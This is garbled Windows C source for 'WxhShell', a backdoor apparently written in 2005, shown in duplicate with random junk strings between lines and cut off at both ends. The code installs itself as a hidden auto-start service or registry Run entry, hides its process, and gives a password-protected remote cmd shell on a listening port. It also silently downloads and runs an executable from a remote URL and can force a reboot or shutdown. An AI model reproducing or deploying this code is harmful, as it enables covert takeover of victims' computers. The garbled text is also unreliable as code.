4s@/ if(NULL == hInst ) return 0; ;Hp' x_xQ *vE C,) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TY[d%rMm g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GJ_)Cl+5E NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~@?-|xLqQ zXU{p\;)\ if (!NtQueryInformationProcess) return 0; 3U.qN0] "t&k{\$\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J9c3d~YW if(!hProcess) return 0; v/+}FS= mKn357: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :k/U7 2 ftuQ"Ds CloseHandle(hProcess); ;/3/R/^g Y4!q 1]TGX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'nt,+`.y6 if(hProcess==NULL) return 0; <n#V TZyQOjUu HMODULE hMod; XJ/kB8 char procName[255]; F S+^r\) unsigned long cbNeeded; SWd[iD @M?EgVmW if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D %
,yA &B0&183 CloseHandle(hProcess); oYErG], OmbKx&>YGz if(strstr(procName,"services")) return 1; // 以服务启动 "$cT*}br 24/~gft return 0; // 注册表启动 6="&K_Q7 } .p~;U|h" gO!h<1 ! // 主模块 je3n'^m int StartWxhshell(LPSTR lpCmdLine) <7]
Y\{+ { ioCkPj SOCKET wsl; R+hS;F nh% BOOL val=TRUE; #R4KBXN int port=0; m1i$>9, struct sockaddr_in door; { (,vm}iFL )K3
vzX if(wscfg.ws_autoins) Install(); IqKXFORiNI pv SFp-:_ port=atoi(lpCmdLine); o`! :Q!+ Fe<
t@W if(port<=0) port=wscfg.ws_port; JlGD.!` e`1s[ ^B WSADATA data; (gB=!1/|G if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !Qa7- lD#1"$Coz if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i3j jPN! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n(S-F g door.sin_family = AF_INET; T-i]O*u door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q9zpX{JT door.sin_port = htons(port); %,D%Q~ {5-{f=Rk if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `~TGVa`D closesocket(wsl); tah%jRfT& return 1; =Fl4tY#X } h
l'k_<a* 6ng g*kE< if(listen(wsl,2) == INVALID_SOCKET) { j&GKp t closesocket(wsl); K):sq{ return 1; bl-s0Ax- } jk}PucV Wxhshell(wsl); &bu`\|V WSACleanup();
`.WKU"To oe"ShhT return 0; 4\es@2 q /loNOutw } bA,D] x[6Bc // 以NT服务方式启动 v"_#.!V VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4FdH:os { |JQKxvjT DWORD status = 0; RE$-{i DWORD specificError = 0xfffffff; f L?~1i = muY^Fx serviceStatus.dwServiceType = SERVICE_WIN32; L$Z_j()2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; nzl,y, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p:%E>K1< serviceStatus.dwWin32ExitCode = 0; ^
?9
~R" serviceStatus.dwServiceSpecificExitCode = 0; !
NEq|Y serviceStatus.dwCheckPoint = 0; @$G
K<jl serviceStatus.dwWaitHint = 0; imQNfNm '#6DI"vJ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z#
B) b5 if (hServiceStatusHandle==0) return; 1bs95Fh9Q iO`f{?b status = GetLastError(); bYH_U4b if (status!=NO_ERROR) }C#d;JC { k"zHrn"$ serviceStatus.dwCurrentState = SERVICE_STOPPED; YaNVpLA serviceStatus.dwCheckPoint = 0; x#j_}L!V; serviceStatus.dwWaitHint = 0; O v6=|]cW serviceStatus.dwWin32ExitCode = status; Big-)7?
serviceStatus.dwServiceSpecificExitCode = specificError; J?$uNlI SetServiceStatus(hServiceStatusHandle, &serviceStatus); 42LV>X#i return; kk#d-!
$[ } ,1L^#?Q~ tjt#VFq? serviceStatus.dwCurrentState = SERVICE_RUNNING; TA7w:< serviceStatus.dwCheckPoint = 0; !/j|\_O serviceStatus.dwWaitHint = 0; -E"o)1Pj6C if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c[q3O** } WLH2B1_): R8*4E0\br // 处理NT服务事件,比如:启动、停止 e~dU " VOID WINAPI NTServiceHandler(DWORD fdwControl) 0g4cyK~n] { W>Kn*Dy8~ switch(fdwControl) '9XwUQx { 4HAfTQ 1G case SERVICE_CONTROL_STOP: "H@AT$Ny( serviceStatus.dwWin32ExitCode = 0; "&F/'';0}E serviceStatus.dwCurrentState = SERVICE_STOPPED; 2c]O Mtk serviceStatus.dwCheckPoint = 0; j)Gr@F> serviceStatus.dwWaitHint = 0; ccAEN { )\^OI:E SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7lu;lAAP } H;`@SJBf return; GvY8O|a case SERVICE_CONTROL_PAUSE: u e~1144 serviceStatus.dwCurrentState = SERVICE_PAUSED; zV#k
#/$ break; P)
#rvTDRw case SERVICE_CONTROL_CONTINUE: uc8>B&B% serviceStatus.dwCurrentState = SERVICE_RUNNING; Uz_{jAhW] break; 3:S "!F case SERVICE_CONTROL_INTERROGATE: up6LO7drW/ break; 9AaixI }; **"sru;@= SetServiceStatus(hServiceStatusHandle, &serviceStatus); V6N#%(?3 } ww*F}}( Emo]I[<&q // 标准应用程序主函数 V qf}(3K0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) seim?LK { w:Vs$, e2v,#3Q\ // 获取操作系统版本 O^GTPYW OsIsNt=GetOsVer(); UF4QPPH4 GetModuleFileName(NULL,ExeFile,MAX_PATH); 7 m%|TwJN @VFg XN // 从命令行安装 +dRTHz if(strpbrk(lpCmdLine,"iI")) Install(); TkykI pQD8#y)` C // 下载执行文件 WD]dt!V% if(wscfg.ws_downexe) { JaEyVe if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8dfx _kY`/ WinExec(wscfg.ws_filenam,SW_HIDE); 3:RZ@~u= } 3? "GH1e oc.x1<Nd if(!OsIsNt) { (RF6K6~ // 如果时win9x,隐藏进程并且设置为注册表启动 z^]nP87 HideProc(); qabM@+m[ StartWxhshell(lpCmdLine); eZHi6v)i } =Ur/v'm
else fO+;%B if(StartFromService()) va)\uXW.N // 以服务方式启动 -z@}:N-uR StartServiceCtrlDispatcher(DispatchTable); Cv3H%g+as else SU^/qF%8 // 普通方式启动 4Y'qoM; StartWxhshell(lpCmdLine); hH~Z hB
7)YU ; return 0; quR':=S5f } ;a|A1DmZ -95`.o 'ga@=;Wj f7L |Jc =========================================== Xc.~6nYp ^,50]uX_ uAJC Q)@ Q"\[ICu!, ,}<v:! }x+{=%~N " HV>W f"1 CUoMB r #include <stdio.h> p 7sYgz #include <string.h> r\yj$Gu>( #include <windows.h> )pJzw-m" #include <winsock2.h> ?tBEB5 #include <winsvc.h> ;2$^=:8 #include <urlmon.h> ky*-_ #nnP.t m #pragma comment (lib, "Ws2_32.lib") ][9M_. #pragma comment (lib, "urlmon.lib") nt4> 9; +IU]=qS #define MAX_USER 100 // 最大客户端连接数 (mycUU% #define BUF_SOCK 200 // sock buffer @$aCUJ/mE #define KEY_BUFF 255 // 输入 buffer 6w5 4+n ,]+6kf 5 #define REBOOT 0 // 重启 y 8sI @y6 #define SHUTDOWN 1 // 关机 E~24b0<7 1}N5WBp #define DEF_PORT 5000 // 监听端口 Z)HQlm 5(,WN #define REG_LEN 16 // 注册表键长度 UJQ!~g.y] #define SVC_LEN 80 // NT服务名长度
n1v%S"^ ,}bC // 从dll定义API 45#`R%3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4&?%" 2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?qdG)jo= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]wP)!UZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7eY*Y"GX >_R5Li // wxhshell配置信息 (FBKP#x)^ struct WSCFG { 7Y_S%B:F int ws_port; // 监听端口 _M7AQ5 char ws_passstr[REG_LEN]; // 口令 Lz4iLLP int ws_autoins; // 安装标记, 1=yes 0=no HYtkSsXLN char ws_regname[REG_LEN]; // 注册表键名 9nB:=`T9 char ws_svcname[REG_LEN]; // 服务名 J,k{Bm char ws_svcdisp[SVC_LEN]; // 服务显示名 k38Ds_sW6d char ws_svcdesc[SVC_LEN]; // 服务描述信息 WL>"hkx char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >%xJ e' int ws_downexe; // 下载执行标记, 1=yes 0=no @o8\`G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .L8S_Mz char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H -`7T;t~ DS^PHk39 }; hD;[}8qN{ )@Ly{cw // default Wxhshell configuration Iu%S><'+ struct WSCFG wscfg={DEF_PORT, CFVe0!\ "xuhuanlingzhe", &a O3N 1, G|.>p<q "Wxhshell", <pz;G} "Wxhshell", $ U<xrN>O "WxhShell Service", ,Xao{o( "Wrsky Windows CmdShell Service", CfAX,f"ZP
"Please Input Your Password: ", b d9]' 1, A|jaWZM- "http://www.wrsky.com/wxhshell.exe", /mvuSNk "Wxhshell.exe" ZNzye1JSm }; v50=D/&w 0,,x|g$TpT // 消息定义模块 N[czraFBD} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c8#A^q} char *msg_ws_prompt="\n\r? for help\n\r#>"; >Efv?8$E\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7\5;;23N4 char *msg_ws_ext="\n\rExit."; =d`,W9D char *msg_ws_end="\n\rQuit."; p9Ks=\yvL char *msg_ws_boot="\n\rReboot..."; 7`
&K=( . char *msg_ws_poff="\n\rShutdown..."; m"NZ; *d ' char *msg_ws_down="\n\rSave to "; |nB2X;K5~ J-hP4t&x char *msg_ws_err="\n\rErr!"; T0v;8Ee char *msg_ws_ok="\n\rOK!"; u3Ua>A-
&+u$96 char ExeFile[MAX_PATH]; x# 0(CcKK int nUser = 0; GV * B$ HANDLE handles[MAX_USER]; G=(F-U;* int OsIsNt; rj<r6
Kt9:V, SERVICE_STATUS serviceStatus; On#RYy^} SERVICE_STATUS_HANDLE hServiceStatusHandle; N^B
YNqr na_Y<R` // 函数声明 }h>QkV,{2 int Install(void); pGh2 4E int Uninstall(void); /wVrr%SN int DownloadFile(char *sURL, SOCKET wsh); ?$v#;n?@I int Boot(int flag); h`,dg%J*B void HideProc(void); [<7Hy,xr_ int GetOsVer(void); cOq^}Ohan int Wxhshell(SOCKET wsl); _da>=^hFJ void TalkWithClient(void *cs); 9PIm/10pP^ int CmdShell(SOCKET sock); 8NWvi%g int StartFromService(void); pl%3RVpoc int StartWxhshell(LPSTR lpCmdLine); x)h5W+$ y#o ,Vg*V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6*le(^y` VOID WINAPI NTServiceHandler( DWORD fdwControl ); )k{zRq:d S8^W)XgC; // 数据结构和表定义 D^$Nn*i;U SERVICE_TABLE_ENTRY DispatchTable[] = lt[{u$ { "8>*O;xk {wscfg.ws_svcname, NTServiceMain}, Ns?y)
G>: {NULL, NULL} H"6Sj-<= }; w-pdpbHV ]G#og)z4 // 自我安装 P'xq+Q int Install(void) ojni+} >_ { 9;NR char svExeFile[MAX_PATH]; *^ g7kCe( HKEY key; T]Pp\6ff strcpy(svExeFile,ExeFile); ORD@+ { " P c"{w // 如果是win9x系统,修改注册表设为自启动 %s6|w=.1 if(!OsIsNt) { !O~EIz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y4^6I$M7V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y".uu+hL` RegCloseKey(key); l
2y_Nz-; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zqc+PO3lw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T}jryN;J5 RegCloseKey(key); a`|&rggN return 0; J.N%=-8 } 8HS1^\~(6l } `9SuDuw;s } % V/J6 else { ]W-l1 P33x/#VVE // 如果是NT以上系统,安装为系统服务 u(S~V+<@Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v `9IS+Z if (schSCManager!=0) 0.Pd,L( { OB
FG!.) SC_HANDLE schService = CreateService x|&A^hQ ( <E[X-S%& schSCManager, s~W:N.}* wscfg.ws_svcname, CA, &R<] wscfg.ws_svcdisp, M#c.(QdF SERVICE_ALL_ACCESS, x >hnH{~w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -SnP+X! SERVICE_AUTO_START, n.Iu|,?q SERVICE_ERROR_NORMAL, icLf;@ svExeFile, c;C:$B7 NULL, )/A IfH NULL, ),1MR= NULL, 7+ QD=j- NULL, dOh`F~
Y)e NULL EW7heIT$ ); tQ=M=BPZ if (schService!=0) rf?Q# KM\W { f^\qDvPur CloseServiceHandle(schService); Q5b~5a CloseServiceHandle(schSCManager); F?TxViL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z6#}6Y{ strcat(svExeFile,wscfg.ws_svcname); L?T%;VdG'> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (P&~PJH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -*t4(wT|j RegCloseKey(key); 794V(;sW, return 0; g&I/ b/A } [xXa3W } ="hh=x.5J CloseServiceHandle(schSCManager); fS+Ga1CsH } =QXLr+
y@ } bq{":[a U2l7@uDr; return 1; "$#X[. } ]c%yib })f4`$qf // 自我卸载 L8sHG$[ int Uninstall(void) :\[W] { 5RD\XgyN] HKEY key; c~bi
~ f 7) aitDD if(!OsIsNt) { Yz4)Q1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uH 1%diL^ RegDeleteValue(key,wscfg.ws_regname); f Glvx~ RegCloseKey(key); Gu?OyL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,5J-C!C RegDeleteValue(key,wscfg.ws_regname); rjqQWfShY RegCloseKey(key); X+2 aP'D return 0; B@XnHh5y } ocOzQ13@Y } }+ ";W) R } /cM< else { S?_/Po| *[K\_F?^h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ct2m l if (schSCManager!=0) IO3`/R- { NGZEUtj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R+,eX jz" if (schService!=0) wi]ya\(*yl { t:y}
7un if(DeleteService(schService)!=0) { 7 $AEh+f CloseServiceHandle(schService); ernZfd{H CloseServiceHandle(schSCManager); ')ZxWYT
O^ return 0; v|r\kr k } rS1mBrqD CloseServiceHandle(schService); T*YbmI]4 } c4Q{ CloseServiceHandle(schSCManager); <5rs~ } #m
yiZL% } &s m7R i HRP4"#9R return 1; ]r++YIg!j } 4JF)w;X} mHcxK@qw // 从指定url下载文件 e`gOc* int DownloadFile(char *sURL, SOCKET wsh) IoUQ~JviA { 6b&<5,=d: HRESULT hr; wX dtY char seps[]= "/"; Hjl{M>z char *token; qIE e7;DO char *file; xe ng`! char myURL[MAX_PATH]; zGKDH=Yy ; char myFILE[MAX_PATH]; lFvRXV^+f :6R0=oz strcpy(myURL,sURL); hF`e>?bN token=strtok(myURL,seps); g+shz{3zvz while(token!=NULL) pe(31%(h { "p]bsJG file=token; 7)iB6RBK token=strtok(NULL,seps); &.XYI3Ab1 } zdY+?s)p 0a<:.} GetCurrentDirectory(MAX_PATH,myFILE); ?1%/G< strcat(myFILE, "\\"); 8z,i/: strcat(myFILE, file); :5 XNV6^| send(wsh,myFILE,strlen(myFILE),0); v4_p3&aj send(wsh,"...",3,0); NR3]MGBKv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2BTFK"=U if(hr==S_OK) %{GYTc \'X return 0; |M&i#g<A; else qm30,$\c`~ return 1; `>M;f%s c6zghP3dR } v.Fq.
b'i-/l$ // 系统电源模块 B<)c{kj int Boot(int flag) oy+`` W~ { "$)Nd+ny HANDLE hToken; y k=o TOKEN_PRIVILEGES tkp; [AAG:` :5kgJu if(OsIsNt) { &E98&[`7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L0ZgxG3:g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %C&HR2 tkp.PrivilegeCount = 1; `LD#fg* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8S;]]*cD~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;O8Uc&:P if(flag==REBOOT) { m e\S: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G)qNu } return 0; +<cvyg5U } 8NY$Iw else { 9rhIDA(wc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N^,@s"g return 0; kz4d"bTb } Be?b|
G!M } jpND"`Q else { J
LOTl. if(flag==REBOOT) { V=#L@ws if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sw##C
l# return 0; f"^G\ } "6.JpUf else { PbR6>' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Ju@<V$ return 0; 2^-Z17Z} } @S#>:o| } }jj@A !N S@Rw+#QE return 1; -w8c;5X } 8Lm}x_
8
1Ar.< // win9x进程隐藏模块 AGwFD void HideProc(void) /SLAg& { t- Rp_2t ?Bg<74 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ` oBlv if ( hKernel != NULL ) "S$4pj`< { hg8gB8Xq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t\[aU\4-7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uXx c2} FreeLibrary(hKernel); ^G5BD_ } }lN@J,q o+U]=q*|)$ return; 1PwqWg-\\ } ]<3$Sx_{y qEd!g,Sx // 获取操作系统版本 AEjkqG4qv int GetOsVer(void) ts2;?`~ { &r0b~RwUv OSVERSIONINFO winfo; ~N</;{}fL4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L%D:gy9o GetVersionEx(&winfo); RS`]>K3t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '%!'1si return 1; EH;w
<LvT else L,I5/K6 return 0; -C9_gZ } a-I3#3VJ@ Vq)6+n8o // 客户端句柄模块 @S3G> i int Wxhshell(SOCKET wsl) 7_ $Xt)Y{ { H^Th]-Zl SOCKET wsh; 2LpJ xV struct sockaddr_in client; ZzDE DWORD myID; 7C7eXJ9q {~=Edf
while(nUser<MAX_USER) )"j)9RQ} { fX)C8J^=G int nSize=sizeof(client); W/dl`UDY wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c*+yJNm3> if(wsh==INVALID_SOCKET) return 1; &_Py{Cv@Dw e}qG _* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [UJC/GtjS if(handles[nUser]==0) fV[(s7vW closesocket(wsh); @=KuoIV else +8+@Az[e0 nUser++; 2FHWOy
/N@ } 8=
jl]q$< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e=b>:n
qMD!No return 0; MPt:bf# } bv&A)h"S } t4?*:\ // 关闭 socket fFG, ^;7-O void CloseIt(SOCKET wsh) Y.. { ,X Zo0! closesocket(wsh); ,Lt+*!;m nUser--; -i``yf?P ExitThread(0); "zSi9]j } &Nx'Nq9y P19nF[A // 客户端请求句柄 E|u#W3-: void TalkWithClient(void *cs) S"FIQ&n { $ t' . &V;^xMO! SOCKET wsh=(SOCKET)cs; 8nOMyNpy~M char pwd[SVC_LEN]; ,Y~{RgG char cmd[KEY_BUFF]; np|3 os char chr[1]; oXA3i int i,j; |1d;0*HIgX v?b9TE while (nUser < MAX_USER) { ,o(7z^1Pe; kz]vXJ if(wscfg.ws_passstr) { 0i}4T:J@` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pkx*1.uo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7I~Ww{ //ZeroMemory(pwd,KEY_BUFF); =$`xis\ i=0; nZ?BCO while(i<SVC_LEN) { J 00<NRxj" K-Bf=7F, // 设置超时 G5y>v^&H fd_set FdRead; vJ*IUy struct timeval TimeOut; >sAZT:&gv FD_ZERO(&FdRead); 5m,{?M` FD_SET(wsh,&FdRead); )zK`*Fa
az TimeOut.tv_sec=8; neW_mu;~Z TimeOut.tv_usec=0; 8y;W+I(71 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <1tFwC|4BJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); et|P5%G =j[zMO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !a&@y#x pwd=chr[0]; V|.3Z\( if(chr[0]==0xd || chr[0]==0xa) { d4c-(ZRl pwd=0; Lq@pJ)a break; p8<Y5:` } $x&@!/&|pv i++; *@'4 A :A } /H+br_D9 b#p)bcz!I // 如果是非法用户,关闭 socket B9`^JYT< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =|IB= } g+8j$w} xEBiBskd send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V$u~}]z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~2xC.DF_N Pf
s _s6 while(1) { {~DYf*RZ [9f
TN2'z ZeroMemory(cmd,KEY_BUFF); k8^!5n =w HU*mK // 自动支持客户端 telnet标准 2XJn3wPi j=0; j&(2ze:=*$ while(j<KEY_BUFF) { :5X1Tr=A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8U!; cmd[j]=chr[0]; Hl"rGA> if(chr[0]==0xa || chr[0]==0xd) { '0g1v7Gx cmd[j]=0; iq$edq[ break; |ubDudzp } `{fqnNJE j++; u9>zC QRO } *<*{gO?Q4 0'!v-`. // 下载文件 m#SDB6l
if(strstr(cmd,"http://")) { hQ&S*f&=' send(wsh,msg_ws_down,strlen(msg_ws_down),0); M0`nr}g if(DownloadFile(cmd,wsh)) $3BCA)5: send(wsh,msg_ws_err,strlen(msg_ws_err),0); y3T-^ else BcaMeb-Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )e.Y"5My } }49X
N else { / G$8 j$ J<x?bIetj switch(cmd[0]) { U,"lOG' i:`ur // 帮助 ? lC.
Pq case '?': { A#~"Gp send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .J' 8d"+ break; "'H$YhY] } Ju$= Tn // 安装 `Z]Tp1U case 'i': { FUzIuz 6 if(Install()) &fA`Od6l" send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lv@JfN"O else xB{0lI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }OO(uC2 break; vlCjh! x } oXwoi! // 卸载 KNU/Kc# case 'r': { U#G[#sd> K if(Uninstall()) A0.)=q send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2UY0:ye else V^aX^ ; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! *\)7D break; 0gPz|v>z } ($*bwqp]} // 显示 wxhshell 所在路径 M.1bRB case 'p': { 3#R~>c2 char svExeFile[MAX_PATH]; b Jt397 strcpy(svExeFile,"\n\r"); !cnun Lc` strcat(svExeFile,ExeFile); RWmQP%A}aw send(wsh,svExeFile,strlen(svExeFile),0); )#[?pYd break; ]xQPSs_ } ,Iq+ v // 重启 :$d3}TjsA+ case 'b': { R`ajll1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =O~1L m; if(Boot(REBOOT)) 2%0zPflT send(wsh,msg_ws_err,strlen(msg_ws_err),0); v :]y#y else { 7uJy<O
closesocket(wsh); kXS_:f;M ExitThread(0); lZCvH1&" } ,p\^n`A32 break; Z!=/[,b } P\;lH"9 // 关机 B&A4-w v case 'd': { {:40Jf
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qF=D,Dlz if(Boot(SHUTDOWN)) [oOZ6\?HB send(wsh,msg_ws_err,strlen(msg_ws_err),0); P(G$@},W else { B9|!8V closesocket(wsh); L*bUjR,C ExitThread(0); E^L } |Hg )!5EJ break; 9,Zg'4",d } #6'oor X // 获取shell Vnuz!
6. case 's': { {'Nvs_{6 CmdShell(wsh); `Bx3grZ
7& closesocket(wsh); QQPbKok> ExitThread(0); !%J;dOcU break; SQ5SvYH } / _v5B> // 退出 !zLd,` case 'x': { s$6zA
j! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dluNA(Xc- CloseIt(wsh); T8>:@EL-k break; JC`|GaUy } :FwXoJc_+5 // 离开 /Ik_U?$* case 'q': { 6PT ,m send(wsh,msg_ws_end,strlen(msg_ws_end),0); )hK5_]"lmj closesocket(wsh); %KNnss} WSACleanup(); kHd_q. exit(1); O_0|Q@ break; :bwdEni1P } {g\Yy(r
} Yo@>O98 } 1B=vrGq Da1BxbDeI // 提示信息 =[(1u|H9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X;flA*6V } /pgfa-< } Je2o('MA aq~hl7MTj return; <`5>;Xn= } aUSxy8% JV(eHuw // shell模块句柄 4>>{}c!nf int CmdShell(SOCKET sock) \k0%7i[nZ/ { @=`Dw/13 STARTUPINFO si; 7}-.U=tnP ZeroMemory(&si,sizeof(si)); 7&XU]I si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G& cm5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G U~?S'{ PROCESS_INFORMATION ProcessInfo; @!fy24R]D char cmdline[]="cmd"; 0#F3@/1h CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *D
#H-]9 return 0; K`* 8*k{ } pBiC LW?] ~| // 自身启动模式 9_JK. int StartFromService(void) 'VFxg, { ]Rohf WHX typedef struct [Ua4{3# {
dKDtj: DWORD ExitStatus; -liVYI2s DWORD PebBaseAddress; EAxg>}'1j DWORD AffinityMask; 1QtT*{zm$F DWORD BasePriority; SPOg' ULONG UniqueProcessId; ~!meO;|W ULONG InheritedFromUniqueProcessId; pA3j@w } PROCESS_BASIC_INFORMATION; &tw.]3 9vCn^G%B PROCNTQSIP NtQueryInformationProcess; {=IK(H >`n0{:.1za static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,=B
"%=S static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'cy35M -'BJhi\Y]~ HANDLE hProcess; O7ceSz PROCESS_BASIC_INFORMATION pbi; irqlU J)A1`(x&T HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'e02rqip{ if(NULL == hInst ) return 0; 78#j e=MDg #6fp" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H&E c*MT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l-_voOP NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GBu&2} LD: w
wH if (!NtQueryInformationProcess) return 0; S0/@y'q3en E}c(4RY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l*HONl&j if(!hProcess) return 0; &|iFhf[o pA='(G if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vmAMlgZ8{< `j0T[Pi CloseHandle(hProcess); =+~e44!~D bM_Y(TgJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f%ZqK_CW if(hProcess==NULL) return 0; H:#b(&qw2 ?(Dkh${@ HMODULE hMod; 9H2^4D8 char procName[255]; K6@QZc5.! unsigned long cbNeeded; gR.zL>=_5e t9&)9,my if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), 